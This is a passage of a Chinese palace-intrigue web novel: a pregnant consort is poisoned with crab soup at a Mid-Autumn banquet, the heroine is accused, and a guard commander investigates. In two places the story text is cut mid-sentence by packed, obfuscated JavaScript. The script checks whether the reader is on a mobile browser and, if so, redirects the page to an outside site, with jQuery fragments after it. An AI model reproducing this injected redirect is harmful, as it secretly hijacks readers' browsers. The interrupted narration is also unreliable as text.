好在只过了不到半炷香的时间,太医就来了,他为裴若桑反复诊脉确认后,眉头瞬间舒展,面色转忧为喜。 “恭喜太后,恭喜陛下!天大的喜讯啊!”他激动地快步走到大殿中央跪下,“纯嫔娘娘已怀有三月身孕!恭喜娘娘!” 席间众人闻言,一下子炸开了锅,大家七嘴八舌地讨论,附近几名太妃和侯府夫人热络地拉着纯嫔的母亲张氏,同她道喜。 张氏早已换了一副面孔,她虽也是官宦人家小姐出身,但其父只是个地方巡抚,比起在座的贵人家眷自然是逊色了一头。这是她头一次成为众人羡艳的焦点,眉梢的喜色那是压都压不住。 唯有太后的面色异常地风轻云淡,只见她长长地吐出一口气,向那名太医询问:“这么说哀家是要当奶奶了,太医,那她方才为何好端端地晕了过去?” 太医回复道:“回太后娘娘,纯嫔娘娘身子根基虚弱,估计是殿内人声嘈杂,娘娘思虑负担过重才晕了过去,臣稍后便为她施针,不出一个时辰便可恢复。” “那她身子状况如何?” 太医斟酌几番后回答:“纯嫔娘娘这胎算不上稳,早期似乎还有滑胎之象。但好在娘娘年轻,现在已有孕三月,算是过了最危险的时候,后面只需认真调理身体,便无大碍。” “嗯。”太后点点头,吩咐苏嬷嬷道,“月容,你这就去太虚殿,替哀家去把这个好消息告诉陛下。” “是。”苏嬷嬷步伐轻快地离开。 太后得了喜讯,眉头舒展,嘴角弯弯,她兴致盎然同身侧的云昭昭,以及旁边的其他嫔妃说:“这可是陛下的第一个孩子,哀家盼了三年才终于盼到此刻,不管是男是女,如今可算是能同以兰交代了。” 她口中的以兰乃赵昶的生母萧以兰,也就是先帝大名鼎鼎的昭文皇后。赵昶年幼丧母,太后虽待其如亲子,但毕竟赵昶出生时天降异象,在迷信的古代就是天命之子,所以太后自然也将他的登基与血脉传承,看成是上天降予自己肩上的头等任务。 她虽然高兴,但下面的嫔妃们就各人有各人的心思了。 孤独晴与宋允君神色淡淡,脸上看不出表情;易琉璃这会儿确定了纯嫔的晕倒与自己无关,脸色也明快乐许多,她看向身边被众星捧月的裴若桑,眼神中似有憧憬之意。 剩下的贾珂儿,霍婕妤,李贵人脸上则像打翻了颜料瓶一样,各有各的精彩。贾珂儿与霍婕妤本身就与裴家不对付,所以她俩不喜纯嫔有孕很正常,但碍于现在的场合,也只好陪着太后乐呵,只是那笑容越看越僵硬,越品越诡异。 而李贵人就不一样了,她家本就与裴家同气连枝,她在宫内又与纯嫔交好,跟着她得了不少好处,但此刻,她脸上的笑容都遮不住眼里的嫉妒,就像燃着两团火,要把周围的欢笑与恭维给点燃烧毁,再生吞入腹。 云昭昭揣摩着太后的心思,很快恭维道:“恭喜太后娘娘,纯嫔是个有福之人,今日中秋团圆之夜,专门给咱们带来这个好消息,可不正来了圆满嘛?既是陛下的圆满,又是您的圆满,您马上就能颐享天年了。” 她这番话说得吉利,但太后脸上的笑容却骤地淡了,眼里闪过一丝精光。 云昭昭心头一惊,以为自己是说错了话,正准备赔不是,却见太后恢复了方才的模样。 她指着云昭昭,哭笑不得地对下头几位太妃说道:“你们瞧,昭昭的这张嘴啊,可真真比这桌上的月饼还要甜。谁不知道她对陛下情深义重,之前还因为陛下和若桑闹别扭的,哀家还以为今日她知道了若桑有孕,要难过地哭鼻子呢,没想到这孩子入宫后像变了一个人似的,倒是个心胸大度的。哀家喜欢得紧啊。” 云昭昭尴尬不已,因为曾经原身在之前的宫宴上还因为争风吃醋羞辱过裴若桑,闹得人尽皆知,现在被太后主动提及,她只好干笑道:“娘娘,那是以前嘛,臣妾年幼无知,现在不一样了,臣妾入了宫,同纯嫔一样是陛下的女人,大家也算是一家人了。” 这话一说出口,云昭昭自己都嫌自己虚伪,但太后似乎很受用。下面几名太妃和郡主又连连称是,大家又编了不少吉利话恭维太后。 太后不忘对云昭昭与其他几位嫔妃叮嘱道:“若桑如今有孕,算是给你们开了个好头,你们诸位也要加油,尽快给皇家开枝散叶才是。” 她言语间笑得满脸慈祥,和任何一个盼望着抱孙子的长辈并无区别。那一瞬间甚至让云昭昭开始怀疑,自己方才是不是一晃神,看花了眼。 很快,裴若桑便在太医的救治下悠悠转醒。她开始时还有些茫然地盯着太医手上的针灸,一副搞不清楚情况的懵懂模样,但很快随着周围越来越多的人同她道贺,她便双颊绯红,露出初为人母的羞涩情态。 正好这时,前去太虚殿报喜的苏嬷嬷带着圣旨归来了。 赵昶不仅将赏赐了裴若桑大量丝绸珠宝,山珍补品,还连她的娘家裴家也一起赏了,甚至当场封纯嫔母亲张氏为正三品淑人。要知道,按本朝规定,只有六部尚书及以上官职者,其母、其妻才能受封为正三品淑人。也就是说,纯嫔的父亲裴皓接任户部尚书一职已经是板上钉钉的事了。 除此之外,赵昶还将裴若桑的位份连升了两级,封为正四品容华。 赵昶的圣旨一宣完,众人看裴若桑的眼神一下子就变了。 且不说她腹中的孩子还尚未出生,便已经是正四品容华了。若是将来诞下皇长子,那裴氏封妃也是迟早的事了,就算只诞下了公主,依本朝过去历代长公主所受的荣宠,那包含昭仪在内的九嫔之位对她也不过是信手拈来之物。 而裴家,也将作为赵昶一手扶持的肱骨之臣,成为未来真正能同云家抗衡的新兴世家。 在座的勋贵命妇们都各怀鬼胎地思索着以后要如何巴结这位新容华,而裴若桑本人,也似乎极其享受成为大家目之所及的焦点。 只见她一手扶着自己尚未完全隆起的小腹,由两名贴身宫女搀扶着前去接圣旨,仿佛恨不得昭告天下她已有孕三月。 在领了旨,谢了恩后,太后同她说话,裴若桑这才娓娓告知自己为何要隐瞒已有身孕的事。 “还请太后娘娘恕嫔妾隐瞒身孕之罪,嫔妾之前月信向来准时,突然发现日子推迟了近一月便请了医女来诊脉,果然是有了身孕,因为嫔妾从娘胎里出生后便一直体弱多病,嫔妾怕保不住这个孩子,便未将此事声张……” 太后并未责怪她,只是淡淡道:“只要能保下这个孩子便好,这是陛下的第一个孩子,现在虽已过了最危险的时期,但之后也还需谨慎才是。月容,你立即去安排一下,给翊坤宫再多派四名能干一点的宫女过去,另外再找两名靠得住的医女每日专程照顾着,一定要保证哀家的孙子平安降生。” 苏嬷嬷笑着道:“是,太后放心,就像贵妃说的一样,能赶上这样团圆的日子给大家带来好消息,容华娘娘是个有福的。” 裴若桑赶紧谢了恩,回到自己座位上后,不少贵妇千金像池塘中争先恐后啄食 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108307|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的鱼儿一般,围在她身边。 她表面谦虚地应着,眉梢却是怎么都掩饰不了的得意之色,那些奉承讨好的言语如生了翅膀般钻进她耳朵里,说得她心花怒放,如在云端,不禁有些飘飘然。 她的余光偶然间瞅到大殿正中主位旁坐着的云昭昭,虽锦衣华服,明艳脱俗,但她的身边却冷冷清清,倒不如说自己这里才是主位。 不得帝心,又没有孩子,就算再绝世的容颜在这宫里又能如何呢? 而自己有了这个孩子傍身,将来她哪还用得着受云昭昭的气,说不定还能取而代之呢! 想到这里,裴若桑嘴角噙着一抹淬了毒的笑意,心头更加得意,双手忍不住来回抚摸自己的小腹,恨不得下一秒就让这个孩子出生。 很快,宫里请来的戏台子在望月殿外咿咿呀呀地开唱了。太后素来爱听戏曲,但今日考虑到裴若桑有孕,便让她先点曲,裴若桑半推半就,最后只好别别扭扭地点了一曲《龙凤呈祥》,将整场晚宴的氛围推向了高潮。 彼时宫里人声鼎沸,戏曲悠然,一片欢声笑语的祥和喜乐之景,而深蓝的夜幕却在这满城灯火的映衬下,显得格外空旷幽深。 夜空中看不见一颗星子,只有那轮银白如盘的月亮,不知道何时爬上了中天,孤独地悬在天穹之顶,透着冰冷的清辉,冷眼旁观着这凡间的喧嚣。 云昭昭无心听曲,之前众人一直围在裴若桑身边,挡了她的视线,现在大家都回到了自己的座位上,她便不自觉地留意着裴若桑的一举一动。 尤其是她桌上的那碗蟹肉羹,虽然看样子还未曾动过,但碍于之前的种种教训,哪怕这次已经提前做好了万全的准备,云昭昭还是内心隐隐担忧。 她瞅了瞅角落,流霜一脸憧憬地站在那里,踮起脚尖盯着戏台上唱曲儿的花旦,看的津津有味,而汀雪不知何时已经不见了踪影。 但她现在已经顾不上汀雪了,她低声叫了好几声,流霜才从戏曲中回过神来,走到她身边。 “小姐,您找我有什么事?” 云昭昭下巴轻轻朝着裴若桑的方向点了点,说:“流霜,快,你帮我想个办法去把纯容华桌上的那碗蟹肉羹端走。” 流霜闻言面露难色,心想小姐自从那天易常在到访后就像跟这蟹肉羹结仇了似的。 “可是……这么众目睽睽之下,我直接过去端走是不是有点奇怪啊?” 云昭昭盯着裴若桑,心里仿佛被一种强大的直觉驱动着,见流霜不动,她焦急催促道:“随便什么办法都行!绝不能让她把那碗粥喝下去!” 然而她话音刚落,就见裴若桑一边听戏,一边兴致勃勃地舀了一勺蟹肉羹品尝。 或许是云昭昭大喇喇的目光过于显眼,裴若桑喝粥时还抬眼看了她一眼。 云昭昭张了张嘴,紧得快要冒烟的嗓子眼里已经发不出任何声音。一旁的流霜看见裴若桑喝了粥,也呆住了。 “小姐,她,她喝下去了……” 云昭昭立马喝了一口茶稳住心神,书里那碗蟹肉羹为的是让裴若桑小产,估计她当时喝了不少。 想到这里,她立马吩咐流霜:“喝了就喝了,你快去阻止她,抢走也行,装作不小心把那碗蟹肉羹打翻也行,总之别让她再喝了。” 刚才是要在众目睽睽之下端走纯容华的蟹肉羹,而现在则是要在众目睽睽之下从纯容华手里抢走蟹肉羹。 这难度岂止是增加了一点! 流霜欲哭无泪,但也只好不情不愿地往裴若桑和易琉璃那桌走去。 然而,还没等流霜走到那里,只见裴若桑突然面色狰狞地捂着肚子,蜷缩成了一团。 不好。云昭昭心道,她几乎是条件反射般从座位上站了起来。 下一秒,易琉璃,以及周围的贵人命妇们也都发现了裴若桑的异常。 “容华,容华,您这是怎么了!” “不好了,不好了,她下面流了好多血,见红了!” 见裴若桑痛苦地捂着肚子在地上抽搐打滚,她的母亲张氏已骇得睁目欲裂,她顾不上任何,连跑带爬地到了女儿身边。 “桑儿,桑儿,你怎么了,你怎么了!娘在这里。” 然而裴若桑已经疼得嘴唇乌青,面目扭曲,她哆嗦着嘴,双眼瞪得老大,看上去触目惊心,十分骇人,她似乎想要说什么,但却疼得根本说不出话来。 张氏见女儿如此痛苦,立马朝四周嘶声大吼道:“叫太医来!快叫太医来!!” 这下所有人都反应了过来,太后一脸严肃地起身,朝那边走去,边走边厉声说:“怎么回事?所有人,不得离开自己的座位半步,就在这里等着太医来!” 这时裴若桑已经疼得冷汗直冒,脖子上的鸡皮疙瘩清晰可见,但她似乎使出了极大的力气,张着嘴吚吚呜呜地想要说什么。 张氏看得心疼极了,一边流着泪,一边低头将耳朵凑到女儿面前。在裴若桑断断续续的语句中,她终于辨别出来她想要传达的意思。 “疼,好疼!孩啊,孩子没了……有毒,是哈……是,云、云贵妃……” 说到最后,她的吐字已格外模糊不清,而这几个字几乎是消耗掉了她最后的力气。 只见这位新晋的纯容华蜷曲着身体,猛烈抽搐了几下,便彻底不动了。 而这时离她受封为容华,成为众人巴结讨好的对象,不过一个时辰。 红颜转瞬就成了枯骨,座中的欢笑顷刻间就化为了惊恐。 最是人间留不住,朱颜辞镜花辞树。 唯有中天那轮月亮,孤独地睥睨着凡间的喧嚣,无论喜悲,也无论圆缺。 32. 奇毒 有人发出惊呼,随即凄厉的惨叫划破了阖宫的宁静。 现场情形一下子混乱不堪。 裴若桑的母亲张氏已经哭得撕心裂肺,几乎快要晕死过去。她拼了命地摇晃着女儿的双肩,发了疯似的去按女儿的人中。 但裴若桑的身体却如同一株枯萎的植物,随着仅存的一点生命力的流逝,慢慢地瘫软了下去。 待太医去而复返的时候,她的下身如同铺开了一朵盛放的暗红色睡莲,涓涓鲜血不过片刻就已经汇成了一条小河。 太医谨慎地探了探她的鼻息和脉搏,最后还是摇了摇头。 张氏见再也救不回女儿,立马瞪着血红的双目,指着云昭昭,愤恨的眼神中透着一丝癫狂。 “是她!是她!就是云家这个毒妇害死了桑儿!” 张氏这一指认,望月殿内近百双眼睛齐齐地盯着云昭昭,仿佛在对她进行着无声的审判。 云昭昭对于现在的情况也懵了,她的脑子飞速旋转着,回忆这场宴会前前后后的经过,她实在想不出能有什么纰漏,她数日前就命人收购处理了大量的蟹心,今日也派了玉绯专门守着逐月。她提前考虑了方方面面,但裴若桑却还是死了,甚至比原书中死得更快,死状更加凄厉。 见云昭昭不答话,张氏更是像疯了般一口咬定了她就是真凶。 她丝毫不顾自己的贵妇形象,披散着头发,踉跄几步跪至太后面前,凄声控诉道:“太后娘娘,请您一定要为桑儿做主啊!就是她!就是云贵妃害死了桑儿!” “我没有。”云昭昭皱着眉头道。 张氏的眼里带着十足的恨意,她瞪着云昭昭,几乎要把牙都咬碎,“就是你!桑儿临死前亲口告诉我,是你害死了她!一定、一定是你嫉妒她怀了龙种,才害死了她,你这个丧心病狂的毒妇!” 她说着一把取下头顶的簪子,便要扑向云昭昭找她索命。好在太后身边的两名女官,加上流霜以及不明所以刚从外面赶回来的汀雪,四个人一起,才拦住了疯狂的张氏。 太后冷着脸,神情是前所未有的严厉。她看向云昭昭,问:“纯容华说是你害了她,你有什么要说的?” 云昭昭定了定神,坦然道:“娘娘,臣妾没有做这样的事,这其中定是有什么误会。” “误会?”张氏大笑几声,面目狰狞扭曲,恨不得扑上去活剥了云昭昭,“全京城谁人不知你云氏女,嚣张善妒,欺人太甚!半年前的千秋宴上,桑儿一句话得罪了你,你就能当场掀了桌子,砸了碗,泼她一身污秽,令她难堪。如今桑儿有孕,得了陛下的宠爱,你更是容不下她!” 说罢她将锥子一样的目光投向裴若桑桌案上的那碗蟹肉羹。 “就是它!”张氏激动道,“就是那碗粥!我女儿就是喝了那碗粥以后才出事的!” 众人一听,皆惊恐地盯着属于自己的那碗蟹肉羹,有几名贵女甚至吓得当即呕吐起来。 太后厉声命令苏嬷嬷道:“月容,去,把那碗粥给哀家端来,看看有何端倪。” 苏嬷嬷依言端过那碗粥,承至太后面前。她翻动了一下,见里面除了雪白的蟹肉,橙黄的蟹黄外并无其他可疑之物,便又取来专门试毒的银针扎进羹汤中,过了许久也并未变色。 “没有变色。”苏嬷嬷淡淡道。 她话音刚落,殿内响起另一个声音。 “太后娘娘,关于这蟹肉羹,嫔妾有一事不知道当讲不当讲。” 说话的是李贵人,她一面轻抚着胸口,一面用手帕抹着眼角,像是为纯容华的离世流泪哀悼。但谁也不知道,她那张抹了半天的手帕上,其实并没有什么湿痕。 “你说。”太后道。 李贵人说:“这事儿嘛,其实不止嫔妾,各宫姐妹也多少都有所耳闻的。前些时日,尚食局来了一批螃蟹,各宫都分了些,咱们这位贵妃娘娘就一直在命她身边的那个汀雪到处高价收购蟹心,说是蟹心极寒对女子身体不好,怕人误食,但谁又知道她云贵妃收集那么多蟹心是为了干什么呢!” “臣妾当然是让人集中处理了,”云昭昭说,“这一点,有尚食局的徐尚食可以作证。” 徐尚食已年过半百,是六局尚宫中最年长的,她年轻时曾当过一阵子赵昶的乳母,自然不可能是云党那边的人。如今见云昭昭这样说,她也只好不情不愿地站出来为她作证道:“贵妃所言乃是事实。” 李贵人一听,顿时急了,但她既已选择了在这时出头,怎肯轻易罢休,于是便指着汀雪道:“徐尚食见到的蟹心也许并不是全部。这个叫汀雪的丫头是随云贵妃从云府进宫的,谁能保证这丫头在这个过程中没有私藏呢?而且嫔妾注意到,这汀雪在宴会中途离开了殿内很长一段时间,谁知道她是去做什么了,说不定就是去替云贵妃做什么手脚去了呢!” 汀雪一听,吓得脸色发白,她立刻跪地,颤抖着说:“奴婢,奴婢方才是……肚子不好,所以出去了。” “哼,”李贵人轻哼道,“一面之词,又有谁能为你作证。” “没……没人。”汀雪趴在地上,声音已带了哭腔,“但奴婢,奴婢一直在出恭,真的不知道发生了什么。” 李贵人不依不饶道:“说话吞吞吐吐,我看就是云贵妃指使你害死的裴姐姐!” 张氏见状也扑倒在地,涕泗横流地哭喊着:“太后娘娘!桑儿肚子里还有您的孙子,您一定要替她做主啊!” 云昭昭站在一旁,无数道目光在她身上扫射,或深信不疑,或幸灾乐祸,或冷眼旁观,她仿佛一名即将被当众行刑的犯人,曝晒在所谓的正义之下。 她不禁觉得荒谬,于是冷冷地睥睨着跪在地上的张氏,以及不远处暗自得意的李贵人。 “回太后娘娘,臣妾从未指使汀雪用蟹心去害人,臣妾说没有便就是没有。” “太后娘娘……嫔妾,嫔妾可以作证,贵妃娘娘她不会这么做……” 这时,一个有些拘谨的声音弱弱地替云昭昭辩解道。 出乎在场所有人意料的是,这声音的源头竟是一向低调,绝不多说一句话的易琉璃。 只见她有些不安地攥着小瓷杯,看向云昭昭的眼神里充满了担忧。她身旁的宫女冬哥见她突然出声忍不住小声提醒她,但易琉璃却摇摇头,以眼神示意她噤声。 所有人都没有想到这位柔顺怯懦的易常在会在这个时候替云昭昭说话,更让她们想不通的是,前些时日易琉璃的大宫女正是因为惹恼了云昭昭才横尸春波河的。 太后显然也十分惊诧,她忍不住问:“易常在,你说你可以替云贵妃作证?那你可有什么证据?” 易琉璃愣了一下,突然意识到自己不能将自己拜访昭阳殿时那碗蟹肉羹的事说出来,但她实在没想到其他的说辞,只好涨红了一张脸道:“太后娘娘,嫔妾没有证据……但,嫔妾觉得……贵妃娘娘她绝不可能做这样的事。” 李贵人闻言在一旁说道:“易常在,你若是受了云贵妃的威胁就说出来,这里有太后娘娘,有诸位贵人,自然有人替你做主。” 易琉璃急切道:“我没有!” “够了!”太后打断众人道,“你们这样还有完没完——” 她话音未落,突然有一队禁军出现在了望月殿的门口,将殿门团团围住。显然,已经有宫人将这里发生的一切禀告了太虚殿的赵昶。 紧接着,只见周徵带领着数名锦衣卫快步进入殿内,他今日未穿官袍,未佩戴象征武安侯身份的玉冠,反而身着锦衣卫指挥使的飞鱼服,右半张脸上破天荒地带了一只秘银面具,遮住了半边额头和上半张脸。 大红的锦服衬得他面如冠玉,眼若朗星,但那只面具又让他看起来更加冷峻,周身带着拒人以千里之外的气息,俨然一名杀伐果断的侍卫。 “锦衣卫奉旨查案,所有人请呆在原地,不得随意走动!” 周徵说罢,恭恭敬敬地朝太后行礼道:“参见太后娘娘,陛下已听说纯容华的事,特命臣带锦衣卫前来彻查,还请您恕臣无礼之罪。” 太后见了他,绷紧的脸色缓和了不少,她点点头道:“好,明彰,你来得正好,让月容向你复述一下刚才的情形。” 苏嬷嬷便将刚才殿内的经过,详细转述了一遍,说到云昭昭的时候,周徵的脸色简直黑得不能再黑了。 云昭昭冷眼瞧着他那副表情,她用脚指头都能猜到周徵心里想的是什么,无非就是怎么又和自己扯上了关系,亦或是自己怎么这样不安分。 想到自己在周徵心中早就是一个十恶不赦的坏女人了,她紧绷的心情一下子舒展了不少。她甚至起了玩心,忍不住冲着周徵嫣然一笑。 周徵呼吸明显一滞,脸色转瞬间变得更加难看,他慌乱地躲开她的目光,对苏嬷嬷说:“烦请您将手中的碗蟹肉羹递给我瞧瞧。” 苏嬷嬷将蟹肉羹递过来,周徵接过后,仔细检查了一番粥里的内容物,又凑近嗅了嗅它的气味。完事后,他叫来两名锦衣卫下属,将那蟹肉羹交给其中一人,并低声嘱咐了二人几句,待二人离开后自己则径直走向殿中裴若桑的尸体处。 此时裴若桑仍保持着临死前的蜷曲状,生命鲜活的温度从她的身体里慢慢流逝,转而由冰冷的僵硬感所替代。她身下的血液早已渗透大理石的地砖,凝结干涸成一道道暗红色的阴影 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16108308|179884||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看上去狰狞又可怖。 周徵只简单看了几眼,便叫来两名属下,将裴若桑的尸体搬至偏殿,并叫住那名刚才为裴若桑诊脉的太医。 “何太医,请借一步说话。” “是,是侯爷。” 何太医吓得不轻,面如菜色,忙不迭地跟上锦衣卫们的步伐。 几人来到偏殿,裴若桑的尸体被停放在偏殿的软榻上,周徵弯下身,仔仔细细地检查了一遍裴若桑的口鼻眼耳,眉毛拧得越来越紧。 “此处无他人,何太医,你怎么看?”周徵一边检查尸体一边问道。 他这话说得轻松,但他武安侯严刑峻法之名早已在全京城如雷贯耳,若是作为嫌犯进了诏狱,那就如同真的在地狱里走了一回,活人都要被折磨得半死不活。 何太医短短一路已吓出了一身薄汗,他难为情地替自己开脱道:“侯爷,不是老夫不配合您查案,只是这事实在是……纯容华之前有孕乃是请的医女诊治,并未在我太医院留下脉案,老夫正好今日轮值,才被传唤来为其诊脉,这更具体的情况,老夫也不知啊。” 他言语间俱是推脱之意,周徵没有同他绕弯子的耐心,当即点明道:“本侯叫你来只是让你配合查案,刚才既是你为她诊的脉,你且如实将当时的情况说来就好,锦衣卫绝不会无凭无据随便抓人。” “是,是,是。” 何太医悄悄抹了一把汗,战战兢兢地将裴若桑的脉象复述了一遍。周徵听后皱着眉问:“那你觉得她像李贵人所言是服用大量蟹心后腹痛大出血至死的可能性有多大?” 何太医只好将心中的猜测如实相告:“侯爷,老夫返回时,容华娘娘已经没了气息,虽然她胎气有些不稳,但不至于食用蟹心等极寒之物后立刻倒地而亡,所食之物若对身体有害,人的身体消化、吸收也需要一定的反应时间。容华娘娘的死或许另有原因……” “嗯。”周徵敷衍地应了一声,接着扳开了裴若桑的嘴唇,她的舌根处呈现出一种诡异的深紫红色。 何太医略略看了一眼,在一旁道:“老夫斗胆猜测,容华娘娘应该是服用了某种剧毒身亡的。” 说完他立刻后悔自己多嘴,本来眼看着这时已同他不关,这一多嘴又不知要为自己平添多少麻烦。但好在周徵听后只是淡淡地“嗯”了一声,并未怪罪他。 “回去罢。我大致已经清楚了。”周徵随即起身道。 他命手下在此看好裴若桑的尸体,随后同何太医一起走出偏殿,刚出殿门,就见刚才那名端着蟹肉羹的锦衣卫回来了,他的右手中提了一只老母鸡。 “侯爷,暂时找不到别的活物了。”那名锦衣卫下属抱怨道,“就连这只鸡都是属下好说歹说那司膳的女官才勉强答应给我。” 他说完见周徵没有反应,又多说了一句:“那司膳女官的脾气那叫一个爆啊,看见咱们锦衣卫办案都不给好脸色,简直像点了炮仗似的。这女人不讲理起来简直难缠,等会燕二过去可惨咯。” 他口中的燕二乃是刚才周徵派出去的另一人,被周徵安排去尚食局调查这碗蟹肉羹的来源。 周徵沉默地听完他的抱怨,说道:“就在这里,按我刚才说的做。” “是。” 那名锦衣卫将手中的老母鸡替给旁边另一人,让他帮忙把鸡抓着,再扳开它的嘴壳,他自己则就着碗里的小勺舀了一点汤羹,灌进那老母鸡的嘴里。 做完这一切后,周徵一言不发地负手站在原地,似乎在等待着什么降临。 他不说话,他的三名下属也像点了哑穴一般,现场的氛围极其压抑。何太医很想离开,但周徵没说让他走他便也不敢提,只好站在一旁同他们一起在偏殿外的小院处等着。 半炷香过后,只见那只原本安静的老母鸡,突然像受了惊一般,发了疯似的扑腾起翅膀来。 那名抓着鸡的锦衣卫眼看就要被啄,周徵道:“放了吧。” 这一松手,那只鸡本来准备扑着翅膀逃走,却像被某种无形地力量呃住了喉咙一样,发出痛苦的鸡叫,踉跄几步后便倒在了地上。 它不断地挣扎着,想要再次支棱起身体,离开这地狱般的疼痛中,但它越是奋力地扑腾翅膀,身体越是不受控制地抽搐起来,整只鸡蜷成了一团,再之后便彻底不动了。 何太医行医多年从未见过如此骇人的中毒惨状,当场愣在了原地。 “这……这,不是鹤顶红,也不是砒霜,更不像牵机散,这种毒,老夫当真闻所未闻,见所未见……” 何太医喃喃自语着,谁知,他还未说完,就听见一旁的周徵低低地说了一句:“我知道。” 33. 惊变 何太医闻言惊愕地抬头看着周徵,医者旺盛的求知欲驱使着他下意识地就想要请教。 但周徵并没有接着话头解答他的好奇,只是对所有人说:“回望月殿。” 何太医转念一想,也对,锦衣卫的诏狱里什么毒药没有,周徵身为指挥使见过也很正常,有他去探查此毒,自己一介小小太医就不要去掺和这趟浑水了。于是他乖乖闭了嘴,安了心,亦步亦趋地跟在了周徵的身后。 回到望月殿,殿内众贵女夫人已对禁军的扣押看管怨声载道。慌乱的气氛在每一个人心头蔓延,有人声称这样的扣押已与软禁无异,也有人抱怨自己不想呆在死过人的屋子里,甚至有心理承受能力差的,已经在座位上小声地啜泣了起来。 太后站在金阶的尽头,神色冷峻异常,见周徵返回,遂忙不迭地追问:“如何了?” 周徵抱拳躬身,一字一句地说:“确定了,是中毒身亡的,就在那碗蟹肉羹中。” 他的声音很轻,却像一根软刺一般扎进了在场所有人的心里。随着一声瓷器坠落的声音,有人吓得将自己座上的蟹肉羹打翻在地,少部分没有动过这道菜肴的人反而开始在心里庆幸。 周徵接着道:“应该只有纯容华那碗有毒,臣已派人前去尚食局彻查,还请太后娘娘让诸位贵人稍安勿躁。” “果然!”李贵人仿佛逮到了话头道,“这是蓄意谋杀,定是有人嫉妒了,要谋害裴姐姐。”她说罢意有所指地看了云昭昭一眼。 因为周徵是赵昶手中最锋利的刀,是他身侧最坚实的盾,裴若桑的母亲张氏便很自然地将他视为是同在一条船上的救星,她对着周徵哭喊道:“侯爷,我们裴家一心向着陛下,这才使得桑儿此番遭人毒害,含恨而死,那歹人狼子野心不仅冲着桑儿,更是冲着皇嗣,冲着更高的位置而去……” 她话说的露骨,太后当即脸色很不好看,喝止道:“裴夫人!” 周徵眉尖微动,最终还是面无表情地说:“请夫人宽心,陛下既已命锦衣卫全权负责此案,就定会给夫人以及裴大人一个交代。” 他话虽如此,却并没有直接将云昭昭捉拿归案的打算,这令张氏十分失望,在她看来除了云贵妃以外,没有任何人有理由给自己女儿下此毒手,但碍于太后的威慑,她也只好闭了嘴,瞪着布满血丝的双眼恨恨地盯着云昭昭,像是要在她脸上生生地挖出几个洞来。 云昭昭被她盯得心下十分烦躁,见周徵并没有要立马抓人的意思,她便知一切还有周旋的余地,于是思虑几番后开口道:“裴夫人既这样看着本宫,想必心里已有了自己的定论。那武安侯总得容本宫替自己辩解一二吧。” 她的语调铿锵,声音里没有一丝躲闪与怯意,反而有着某种近乎坚定的力量。 周徵看着云昭昭,虽没有言语,但也并未像往常那般出声呛她。 云昭昭只当他是默认,便继续说道:“李贵人与裴夫人之所以能怀疑上本宫,皆因这‘嫉妒’二字。但纯容华有孕之事倒是格外小心谨慎,宫里无人知晓,本宫也是今晚才知,既如此,本宫又如何能在这么短的时间内准备好毒药给纯容华下毒呢?” “这有何难?” 云昭昭刚一说完,甚至没有等张氏先说话,李贵人又率先不分场合地开口了。她说:“贵妃娘娘那贴身的大宫女汀雪不是中途出去了吗?她是娘娘从家中带入宫的人,你们主仆多年,不可能这点默契都没有。” 见她如此无礼又愚蠢,云昭昭心里只想冷笑,她不经意地瞧了周徵一眼,见他正凝神细思,显然也并没有将李贵人的胡搅蛮缠放在心上。 事实上她自己刚才的辩辞正好说到了关键之处,周徵比任何人都清楚纯容华中毒的情况,也正因如此,他才无法轻易地怀疑她,以及任何一个人。 时间一点一滴地过去,所有人都在焦灼中等待着锦衣卫在尚食局的调查结果。 也不知道过了多久,久到乌云将那冰轮似的月亮完全遮蔽,久到云开雾散后月色再次笼罩四野,周徵派去的那位名叫燕二的锦衣卫终于携着一袭风尘回来了。 “侯爷,属下已将情况调查清楚。” “说。” “纯容华座上那碗蟹肉羹,原本是要端给易常在的。尚仪局负责布菜的宫女说她在送菜时不知被谁撞了一下,忙中出错,放错了位置。” 燕二干脆利落的声音在落针可闻的大殿内显得格外突兀。云昭昭心下暗叫一声不好,心脏突突地跳了起来。 燕二又说:“另外,属下已查清那碗蟹肉羹乃是出自尚食局的王司膳之手,现在她人已被锦衣卫控制住了,但听太后与侯爷发落。” 不等周徵回答,太后厉声道:“将她人带上来审问。” 说完她眉峰一敛,盯着下面噤若寒蝉的徐尚食道:“哼,徐尚食,哀家看你也是宫里的老人了,还照顾过陛下,你究竟是怎么管教属下的?正好今日太妃郡主们也都在,你自己说说,中秋宴会出了这等重大纰漏,以后你让哀家的脸,陛下的脸往哪里搁?” 徐尚食已吓得半死,颤颤巍巍跪下道:“这,这,这,太后娘娘,是奴婢失职,都是奴婢的不是,奴婢掌管尚食局这些年,管教手下女官宫女是出了名的严格,可这王司膳是个例外啊。” “你还有难言之隐了?”太后冷笑道。 徐尚食连声音都在发抖:“太后娘娘,这王司膳过去曾是昭文皇后圣鸾宫小厨房的掌勺,也是老人了,昭文太后去世后,先帝体恤圣鸾宫众人,便将她安排在了尚食局。她脾气是出了名的暴,人又古怪,尚食局其他人没有哪个没得罪过她的……” 她这么说,无非也是想点名王司膳乃是先帝安排的,又是已故昭文太后身边的人,自己也奈何不了她。 太后一听,果然没再发难,她半眯着眼睛,眼中隐隐有怒火闪动,与平时慈眉善目,温文尔雅的模样大相径庭。 